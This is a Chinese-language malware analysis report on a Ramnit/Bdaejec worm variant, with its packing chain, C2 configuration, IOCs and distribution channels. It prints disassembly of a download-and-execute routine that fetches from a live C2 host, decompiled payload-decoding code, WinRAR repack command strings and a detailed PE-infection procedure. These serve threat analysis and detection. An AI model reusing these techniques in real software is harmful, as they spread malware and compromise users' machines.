1. 执行摘要
样本是一个 Worm.Ramnit 变体(又名 Bdaejec Backdoor),通过三层打包链传播:外层感染器 (CxdecDynamicHashCollector.exe) → Aspack 压缩壳 (BUmTpj.exe) → 最终 Ramnit 载荷。该样本同时具备 C2 下载执行、PE 文件感染和 WinRAR 归档感染 三种核心恶意能力,属于蠕虫型恶意软件。代码基础可追溯至 2013 年,2025–2026 年间通过 Smoke Loader 等分发渠道大规模活跃。
2. 感染链与样本溯源
2.1 三层打包结构
CxdecDynamicHashCollector.exe (外层宿主)
│ 入口点被劫持到 RWX 节 &_O__u_ (VA 0x45E000)
│ 动态解析 API,释放内嵌 PE → WinExec
│
├── BUmTpj.exe (Aspack v2.4c 压缩壳)
│ Entry: 0x406001 (.aspack 节, RWE)
│ 解包 OEP: 0x4014E1
│
└── Ramnit/Bdaejec 载荷 (最终恶意逻辑)
ImageBase: 0x890000 (Scylla dump)
OEP: 0x8914E1
证据:
| 来源 | 证据 |
|---|---|
| IDA 静态分析 | 入口点 start @ 0x45E000 位于 RWX 节 &_O__u_ (0x45E000–0x463000) |
| IDA 静态分析 | 入口 stub 在 0x45E023 构造 BUmTpj.exe,在 0x45E232 搜索内嵌 MZ,在 0x45E252 写出 0x3E00 字节 |
| PE 分析 | BUmTpj_extracted.exe 节表包含 .aspack 节 (RWE),Entry RVA 0x6001 落于此节 |
| MalwareBazaar | YARA 规则 INDICATOR_EXE_Packed_ASPack 命中 |
| Triage / ANY.RUN | ASPack v2.12–2.42 检出 |
| UnpacMe | 成功脱壳,脱壳后 SHA256: 1bb70910... |
2.2 家族溯源
| 来源 | 分类 | 首次记录 |
|---|---|---|
| MalwareBazaar | Worm.Ramnit | 2021-08-13 |
| ReversingLabs | Win32.Trojan.Skeeyah | 2013-12-03 |
| Triage (2025–2026) | Bdaejec Backdoor | 2025-09-19 |
| ClamAV | Win.Trojan.Downloader-64720 | — |
| Joe Sandbox | spre.troj | — |
| imphash | aa631f25... — 关联 2x Worm.Ramnit + 1x Bdaejec | — |
imphash aa631f25c4bbd544554d9285d2f8bd38 将 Ramnit 与 Bdaejec 两个分类名称直接关联,确认其为同一家族的不同厂商命名。
3. C2 通信机制
3.1 配置解密
载荷启动后调用 rolling_dword_decode @ 0x8917D0 解密内嵌的 C2 配置块。
调用参数(反汇编 0x89168B–0x89169B):
push dword_894284 ; key = 0x1BC94E09
mov eax, 6CCh ; size = 1740 bytes
mov edi, offset byte_894288 ; 加密数据地址
call rolling_dword_decode
算法特征: 链式滚动 XOR-Rotation 密码,每个 DWORD 的解密依赖下一个 DWORD 的密文值(类 CBC 模式传播),位置相关的循环移位(ROL/ROR 交替,由 offset & 4 控制方向),最后一个 DWORD 使用独立公式处理。
解密后的 C2 配置:
| 配置项 | 值 |
|---|---|
| C2 主机 | ddos.dnsnb8.net |
| 端口 | 799 |
| URL 路径 | cj/ |
| 下载目标 | k1.rar, k2.rar, k3.rar, k4.rar, k5.rar |
| URL 格式 | http://%s:%d/%s/%s |
证据: IDA 反编译 main_payload_controller @ 0x891638 中 0x89169B 行调用 rolling_dword_decode(dword_894284)。解密后全局变量 String = ddos.dnsnb8.net,dword_894948 = 799,byte_894708 = cj/。
3.2 C2 域名解析
| 来源 | 记录 |
|---|---|
| Joe Sandbox (Analysis 464680) | ddos.dnsnb8.net → 63.251.106.25 (VOXEL-DOT-NETUS, US) |
| Joe Sandbox | 端口: 49716, 49718, 49719 |
| Dr. Web vxCube | "Query of malicious DNS domain" |
| Dr. Web vxCube | "Connection attempt to an infection source" |
3.3 下载执行线程
download_and_execute_thread @ 0x8910A0 对所有下载目标循环执行:
- 生成随机临时文件名
%TEMP%\XXXXXXXX.exe(基于GetSystemTimeAsFileTime的 8 位 hex 随机数) - 拼接 URL
http://ddos.dnsnb8.net:799/cj/<kN.rar> - 调用
URLDownloadToFileA(NULL, url, temp_path, 0, NULL)— 无任何自定义 HTTP 头或认证 - 下载成功后调用
decode_downloaded_payload_if_needed @ 0x891000 - 调用
WinExec(temp_exe, SW_SHOW)执行 - 失败则休眠后尝试下一个 C2 主机
证据(反汇编 0x891113–0x89115B):
0x891113 call random_u32_from_filetime ; 随机文件名
0x89112a wsprintfA(CmdLine, "%s%.8X.exe", ...) ; %TEMP%\XXXXXXXX.exe
0x891143 wsprintfA(url, "http://%s:%d/%s/%s",
host, port, path, target) ; 拼接完整 URL
0x89115b call URLDownloadToFileA ; 参数全为 NULL/零
0x8910e3 call decode_downloaded_payload_if_needed
0x8910f1 call WinExec(CmdLine, 5)
多 C2 主机容错: 代码支持 NULL 分隔的多主机列表,当某主机下载失败时自动切换到下一个。
3.4 下载载荷解码
decode_downloaded_payload_if_needed @ 0x891000 使用双层密钥设计:
- 检查文件头是否为
MZ(0x5A4D) - 若非
MZ:取文件头第一个 DWORD 作为解码密钥 - 从文件偏移 +4 开始执行
rolling_dword_decode - 将文件头覆盖为
0x00905A4D(MZ\x90\x00)
证据(反编译 0x89105F–0x89106E):
if (*(WORD*)data != 23117) { // 0x5A4D = 'MZ'
sub_8917D0(*data); // 用文件头 DWORD 作为 key 解码
*data = 9460301; // 0x00905A4D = "MZ\x90\x00"
}
安全意义: 每个远程文件使用独立密钥,即使截获样本也无法在未下载的情况下预知解码密钥。远程 .rar 后缀实际为加密 PE 载荷,绕过基于文件扩展名的 URL 过滤。
4. 传播与感染机制
4.1 磁盘遍历
scan_logical_drives @ 0x892B8C 调用 GetLogicalDriveStringsA 枚举本地逻辑盘:
- 跳过
A:和B:(软盘) - 跳过 CD-ROM 类型驱动器(
GetDriveTypeA) - 为每个可访问驱动器创建扫描线程
scan_directory_recursive @ 0x8929E2 递归扫描目录树,跳过解密配置中的排除目录列表(包括 WINDOWS、System Volume Information、Tencent、Baidu 等 20+ 个目录)。
证据: Joe Sandbox 行为图显示 "Enumerates physical storage devices";vxCube 显示 "Infecting executable files"。
4.2 PE 文件感染
infect_pe_file @ 0x891E6E 是核心 PE 感染函数,完整流程:
- 检查目标 basename 是否在排除列表中
SetFileAttributesA清除只读/系统/隐藏属性- 以读写模式打开目标 EXE
- 内存映射 PE,检查
MZ/PE签名 - 检查是否已存在异常数据目录或结构损坏,若存在则跳过
- 检查最后一个 section 是否为旧版感染标记:
Characteristics == 0xE0000020- section header 内 7 字节 marker 校验
- 若已感染且版本未过期则跳过;若为旧版本则移除旧感染节后重新感染
- 新增一个 section,修改 PE 头:
NumberOfSections+= 1AddressOfEntryPoint→ 指向新感染节SizeOfImage扩展SizeOfCode更新
- 将
sub_894008处 0x271 字节的感染 stub 写入文件尾 - 将当前载荷自身完整内容追加到感染 stub 之后
- 恢复原始文件时间戳
反汇编关键地址:
| 地址 | 行为 |
|---|---|
0x891FC5 | 判断最后一个 section 是否为旧感染标记 |
0x89208B | 生成 7 字节感染 marker |
0x8922F7 | 写入 0x271 字节感染 stub |
0x89230D | 追加当前载荷自身完整内容 |
外部验证:
| 来源 | 证据 |
|---|---|
| Joe Sandbox | "Infects executable files (exe, dll, sys, html)" |
| Joe Sandbox | "PE file has a writeable .text section" |
| Dr. Web vxCube | "Infecting executable files" — 红色高危 |
| Dr. Web vxCube | "Changing an executable file" / "Modifying an executable file" |
| MalwareBazaar 分类 | Worm.Ramnit — 蠕虫分类明确指向文件感染能力 |
4.3 WinRAR 归档感染
process_rar_archive @ 0x89239D 可感染 RAR 压缩包内的 EXE:
prepare_rar_tool_and_marker_db @ 0x89274A:- 定位
%ProgramFiles%\WinRAR\Rar.exe - 复制到
%TEMP%\%.8x.exe - 从系统目录读取
c_31892.nls作为归档处理记录/标记数据库
- 定位
- 对每个 RAR,根据路径计算 hash,查询标记数据库避免重复处理
- 创建
%TEMP%\<rar_basename>\临时目录 - 执行
Rar.exe X -ibck "<rar>" "<tempdir>\"解包 scan_directory_recursive递归扫描解包目录,调用infect_pe_file感染其中 EXE- 执行
Rar.exe M -ibck -r -o+ -ep1 "<rar>" "<tempdir>\*"将感染文件移动回 RAR - 写入 6 字节处理记录,删除临时目录
关键命令行字符串(IDA 已提取):
| 字符串 | 含义 |
|---|---|
\WinRAR\Rar.exe | WinRAR 命令行工具路径 |
c_31892.nls | 被滥用的标记数据库文件 |
%s X -ibck "%s" "%s\" | 解包命令 |
%s M %s -r -o+ -ep1 "%s" "%s\*" | 更新/重打包命令 |
证据: rar_worker_thread @ 0x892845 作为独立线程串行处理 RAR 感染队列,队列由 rar_queue_push_pop @ 0x892692 管理。
5. 持久化与反取证
5.1 注册表执行节流
registry_time_throttle @ 0x891718 使用 HKLM\SOFTWARE\GTplus\Time 值控制执行频率:
- 读取上次执行的 FILETIME 时间戳
- 将 FILETIME 转换为毫秒精度时间戳进行比较
- 若距上次执行 < 24 小时(
0x5265C00ms),跳过本轮执行 - 本轮结束后写入新的 FILETIME
目的: 避免短时间内在同一主机上重复感染,降低被发现概率。同时也是一种简陋的反沙箱机制——若沙箱重置后 "上次执行时间" 被清除,样本将立即执行。
证据(反编译 0x8917BD):
if ((now_ms - last_ms) < 0x5265C00) // 86,400,000 ms = 24h
return 1; // 节流命中,跳过执行
5.2 权限提升尝试
try_enable_sedebug_and_patch_handle_table @ 0x89139F:
- 调用
OpenProcessToken+LookupPrivilegeValueA+AdjustTokenPrivileges尝试启用SeDebugPrivilege - 若成功,通过
NtSystemDebugControl操纵调试对象/句柄表,可能用于跨进程内存读写
证据: 导入表包含 OpenProcessToken、LookupPrivilegeValueA、AdjustTokenPrivileges。
5.3 自删除
drop_self_delete_bat @ 0x891581 在主 EXE 模式下运行时,释放并执行自删除批处理脚本,清除感染痕迹。
证据: Triage 行为记录 "Deletes itself";代码中 ShellExecuteA 调用 BAT 脚本。
5.4 地理围栏
样本通过查询注册表中国家代码来执行地理围栏检查,避免在特定地区运行。
证据: Triage (多个样本): "Looks up country code configured in the registry, likely geofence";MITRE ATT&CK 映射: T1614 (System Location Discovery), T1614.001 (System Language Discovery)。
6. 网络 IOC
| 类型 | 值 | 来源 |
|---|---|---|
| 域名 | ddos.dnsnb8.net | IDA + Joe Sandbox + MalwareBazaar |
| IP | 63.251.106.25 | Joe Sandbox DNS 解析 |
| 端口 (C2) | 799 | IDA 反汇编 |
| 端口 (行为) | 49716, 49718, 49719 | Joe Sandbox 行为图 |
| URL 路径 | http://ddos.dnsnb8.net:799/cj/ | IDA 反汇编 |
| 下载文件 | k1.rar, k2.rar, k3.rar, k4.rar, k5.rar | IDA 反汇编 |
| HTTP 方法 | GET (无自定义头/参数/认证) | IDA 反编译 URLDownloadToFileA 调用 |
7. 主机 IOC
| 类型 | 值 | 来源 |
|---|---|---|
| 注册表 | HKLM\SOFTWARE\GTplus\Time | IDA 0x891718 |
| 文件 (标记DB) | %SystemRoot%\System32\c_31892.nls(被滥用) | IDA 0x89274A |
| 临时文件模式 | %TEMP%\XXXXXXXX.exe (8位hex) | IDA 0x89112A |
| 自身副本 | %TEMP%\%.8x.exe (Rar.exe副本) | IDA 0x89274A |
| 自删除脚本 | %TEMP%\*.bat | IDA 0x891581 |
8. 文件 IOC
| 文件 | SHA256 | 备注 |
|---|---|---|
CxdecDynamicHashCollector.exe | D210D10D4EAB4D995338CBF1A5FD2BAC1BD591CF26E36859B33A4C925D4DD445 | 感染入口,RWX 异常节 |
BUmTpj_extracted.exe | 4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07 | Aspack 压缩二级载荷 |
| 脱壳 payload (UnpacMe) | 1bb70910ead9ee353bd0801550ab5cc2e1bd95defaa69106aba7c003e93cd8e6 | 最终 Ramnit 载荷 |
Scylla dump (BUmTpj_dump_SCY.exe) | — | 本地 Scylla 脱壳产物 |
9. 分发渠道
| 渠道 | 证据 |
|---|---|
| Smoke Loader | Triage 2025–2026 几乎所有 Bdaejec 样本均与 Smoke Loader 共现 |
| Amadey / Wapomi | 同批次捆绑分发 |
| Drive-by Download | MalwareBazaar 标记 "Distributed via drive-by" |
| DarkGate / Remcos / NjRAT | 2026 年 3–5 月同批次出现 |